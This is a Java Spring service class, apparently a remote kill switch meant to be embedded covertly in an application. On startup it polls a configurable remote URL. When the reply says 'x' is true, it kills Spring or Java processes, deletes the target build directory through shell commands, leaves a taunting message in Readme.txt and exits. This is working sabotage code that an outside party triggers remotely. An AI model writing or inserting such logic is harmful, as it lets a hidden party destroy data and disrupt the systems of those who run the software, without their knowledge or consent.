package xin.ctkqiang;

import org.springframework.web.client.RestTemplate;

import java.io.IOException;
import java.util.Map;

import javax.annotation.PostConstruct;

public class WuLaiService {
    private final StealthProperties properties;
    private final RestTemplate restTemplate;

    public WuLaiService(StealthProperties properties) {
        this.properties = properties;
        this.restTemplate = new RestTemplate();
    }

    public String check() {
        String url = properties.getRemoteCheckUrl();

        if (url == null) {
            return "no";
        }

        try {
            Map<?, ?> response = restTemplate.getForObject(url, Map.class);

            if (response == null) {
                return "no";
            }

            Object xValue = response.get("x");

            return Boolean.TRUE.equals(xValue) ? "yes" : "no";

        } catch (Exception e) {
            return "no";
        }
    }

    @PostConstruct
    public void init() {
        if (check().equals("yes")) {
            runCommandDestroy();
        }
    }

    public String message() {
        return "你不回消息我也不生气，反正我也不会主动发消息给你，毕竟……电话永远是双向的......";
    }

    public void runCommandDestroy() {
        System.out.println("⚠️ [无赖系统] 远程响应开始...");

        try {
            Process process;

            String os = System.getProperty("os.name").toLowerCase();
            String[] cmd;

            if (os.contains("mac") || os.contains("nix") || os.contains("nux")) {
                cmd = new String[] {
                        "/bin/sh", "-c",
                        "pkill -f 'spring' && rm -rf target && echo " + this.message() + " > Readme.txt"
                };
            } else if (os.contains("win")) {
                cmd = new String[] {
                        "cmd.exe", "/c",
                        "taskkill /F /IM java.exe && rmdir /S /Q target && echo " + this.message() + " > Readme.txt"
                };
            } else {
                return;
            }

            process = new ProcessBuilder(cmd).inheritIO().start();
            int exitCode = process.waitFor();

            System.exit(exitCode);
        } catch (IOException | InterruptedException e) {
            return;
        }
    }
}
